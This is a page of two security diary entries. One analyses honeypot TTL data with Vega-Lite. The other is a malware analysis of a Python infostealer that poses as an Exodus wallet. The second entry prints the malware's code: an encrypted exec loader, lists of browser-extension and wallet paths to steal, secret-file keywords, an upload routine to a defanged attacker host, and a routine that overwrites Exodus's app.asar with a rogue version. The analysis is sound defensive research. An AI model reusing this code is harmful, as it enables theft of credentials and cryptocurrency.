Time-to-Live Analysis of DShield Data with Vega-Lite

Published: 2024-09-18. Last Updated: 2024-09-19 00:20:09 UTC
by Guy Bruneau (Version: 2)
0 comment(s)

Since posting a diary about Vega-Lite [1], I have "played" with other queries that might be interesting and the first one that I wanted to explore since the DShield SIEM [2] capture and parse the iptables logs and store the Time-to-Live (TTL) for analysis.

One of the things I was really curious about, whether any of the source IPs my DShield sensor capture, have more than one or multiple TTL. I started looking at some of the traffic to review the activity of some of the IPs and noticed that infact some have multiple TTL either in the same day or multiple days. One of the ELK dashboard displays the TTL with their Total, the traffic I reviewed was from IP 45.148.10[.]242 to port TCP/8080 scanning every day for /login.cgi and /cgi-bin/luci/;stok=/locale. In order to better see this activity over the past 14 days; I use a vega-lite query to display the activity with this graph.

First, this first picture shows all the TTL in the past 2 weeks of activity by Total for IP 45.148.10[.]242 :

The TTL 50 is likely a outlier from likely the default 51. Anything in the two 200+ might need to review the IP packet ID to get some clues.

This shows the TTL in the past 2 weeks with vega-lite, the darker the color the more activity for that time period:

While reviewing DShield sensor data, I like sometimes to look at some of the other data captured by the honeypot, and explore why some of the traffic by each IPs might be coming from different directions by using the TTL for some clues. In this example, why is the TTL sometimes different? What other route is the IP taking? Is VPN involved? 

I took one of the TTL, in this case 239 and reviewed when it was captured by the sensor. The sensor received the first one on the 7 Sep and the second on the 11 Sep 2024. I review the 1 hour period this TTL was capture and 5 other packets with TTL 51 was also capture during that same one hour period. Is TTL 239 2 lost packet?

[1] https://isc.sans.edu/diary/VegaLite+with+Kibana+to+Parse+and+Display+IP+Activity+over+Time/31210/
[2] https://github.com/bruneaug/DShield-SIEM/tree/main
[3] https://vega.github.io/vega/examples/
[4] https://github.com/DShield-ISC/dshield
[5] https://isc.sans.edu/ipinfo/45.148.10.242

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 comment(s)

Python Infostealer Patching Windows Exodus App

Published: 2024-09-18. Last Updated: 2024-09-18 07:43:00 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

A few months ago, I wrote a diary[1] about a Python script that replaced the Exodus[2] Wallet app with a rogue one on macOS. Infostealers are everywhere these days. They target mainly browsers (cookies, credentials) and classic applications that may handle sensitive information. Cryptocurrency wallets are another category of applications that are juicy for attackers. I spotted again an interesting malware that mimics an Exodus wallet by displaying a small GUI:

Note: I had to slightly patch the script to make it unable in my lab and there were some encoding glitches.

Besides this, the Python script will also patch the official Windows Exodus app! The file is detected by only 12 antivirus products on VT (SHA256:d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8)[3]. It uses TK to build the window:

class FakeExodusWallet:
    def __init__(self, root):
        self.root = root
        self.root.title("Exodus Wallet - Fake Balance")
        self.cryptos = {
            "BTC": {"balance": 0, "symbol": "?"},
            "ETH": {"balance": 0, "symbol": "Ξ"},
            "LTC": {"balance": 0, "symbol": "?"},
            "DOGE": {"balance": 0, "symbol": "Ð"},
            "ADA": {"balance": 0, "symbol": "?"},
            "DOT": {"balance": 0, "symbol": "?"},
            "XRP": {"balance": 0, "symbol": "?"},
            "BCH": {"balance": 0, "symbol": "?"},
            "LINK": {"balance": 0, "symbol": "?"},
            "BNB": {"balance": 0, "symbol": "?"}
        }
        self.transaction_history = []
        self.create_widgets()
        logging.info("Initialized the FakeExodusWallet application.")

# total gui iit
def create_widgets(self):
    self.notebook = ttk.Notebook(self.root)
    self.notebook.pack(pady=10, expand=True)
    self.balances_frame = ttk.Frame(self.notebook, width=400, height=280)
[...]

But the magic is happening at the very beginning of the script:

import os
os.system('pip install cryptography')
os.system('pip install fernet')
os.system('pip install requests')
from fernet import Fernet
import requests
exec(Fernet(b'RQM6XC1LA3UXTofVJbEGtzGHdHC8617D3uyXnMr48Os=').decrypt(b'gAAAAABm4y_i0oCohYOMNdnNZx5GmZNm_3Z3KUb86T9Du2GQLZcR1HC-d59K11hfFUGoFkyDeydPXCIQhoyM-o4vdlkSiHXKtE4BAlp5E2m0tiFnSHARdTr-xucIsWEO3Hfy0MaKIax6vPleDPTheEsEJBtOPjsJS-ogF-5WcsilggMgjxflfkm4e_xZ0kHlfUhiaoJVnGSX2MgyMHNWnFS3VoHyCh8qUQ=='))

This code will fetch the next payload from hxxps://1312services[.]ru/paste?userid=11 and fetch another piece of Python script. This one, once unpacked, will decode another one that will be the real payload: the infostealer. It has classic features to target browsers and extensions:

CHROMIUM_BROWSERS = [
    {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe"},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe"},
    {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
]

BROWSER_EXTENSIONS = [
    {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
    {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
    {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
    {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
    {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
    {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
    {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
    {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
    {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
    {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
    {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
    {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
    {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
    {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
    {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
    {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
    {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
    {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
    {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
    {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
    {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
    {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
    {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
    {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
    {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
    {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
    {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
    {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
    {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
    {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
    {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
    {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
    {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
    {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
    {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
    {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
    {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
    {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
    {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
    {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
    {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
    {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
    {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
    {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
    {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
    {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
    {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
    {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
    {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
    {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
    {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
    {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
    {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
    {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
    {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
    {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
]

But also wallets:

WALLET_PATHS = [
    {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
    {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
    {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
    {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
    {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
    {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
    {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
    {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
    {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
    {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
    {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
]

As you can see, it focuses mainly on cryptocurrency applications. Files are also searched for interesting keywords:

FILE_KEYWORDS = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "account",
        "acount",
        "paypal",
        "banque",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "seecret"
]

A lot of words are French ones!

Data is of course exfiltrated:

def upload_to_server(filepath):
    for i in range(10):
        try:
            url = "hxxps://1312services[.]ru/delivery"
            files = {'file': open(filepath, 'rb')}
            headers = {'userid': userid}
            r = requests.post(url, files=files, headers = headers)
            if r.status_code == 200:
                break
        except: pass

But the most interesting behavior is the patching of Exodus and Atomic. Let's have a look at Exodus;

def inject():
    procc = "exodus.exe"
    local = os.getenv("localappdata")
    path = f"{local}/exodus"
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = "hxxps://1312services[.]ru/wallet"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
    req = Request(exodusPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    for app in apps:
        try:
            fullpath = f"{path}/{app}/resources/app.asar"
            with open(fullpath, 'wb') as out_file1:
                out_file1.write(data)
            licensepath = f"{path}/{app}/LICENSE"
            with open(licensepath, "w") as out_file2:
                out_file2.write(userid)
        except: pass

This piece of code will grab a rogue "app.asar" file (SHA256:84c4a9dbe24cdae8e2ad9bd7eb3d116cea7f5202cd92a49fa3cc005ec585b95a). The original file will be replaced. The file is an ASAR[4] archive. This file format is used by Electron applications. Let’s inspect it:

remnux@remnux:/MalwareZoo/20240917$ asar list app.asar | more
/package.json
/src
/src/16420818ab98cf8c81f2d64f045d92bc.tgz
/src/app
/src/app/_local_modules
/src/app/_local_modules/components
/src/app/_local_modules/components/Logo
/src/app/_local_modules/components/Logo/ex-trezor.svg
/src/app/core
/src/app/core/index.js
/src/app/keyviewer
/src/app/keyviewer/index.js
/src/app/main
/src/app/main/index.js
/src/app/monero
/src/app/monero/index.js
/src/app/network
/src/app/network/index.js
/src/app/nfts
/src/app/nfts/components
[...]

I tried to compare the app.asar against a valid Exodus install. The rogue version was pretty old (23.8.1) compared to the latest one (24.37.2). I did not find the official 23.8.1 release but I presume that the code has been modified to replace the wallet address with the one of the attacker in transactions.

If, by chance, you still have an Exodus wallet version 23.8.1, please share it with me!

[1] https://isc.sans.edu/diary/macOS+Python+Script+Replacing+Wallet+Applications+with+Rogue+Apps/30572
[2] https://www.exodus.com
[3] https://www.virustotal.com/gui/file/d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8
[4] https://github.com/electron/asar

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Wednesday, September 18th, 2024 https://isc.sans.edu/podcastdetail/9142

Comments


Diary Archives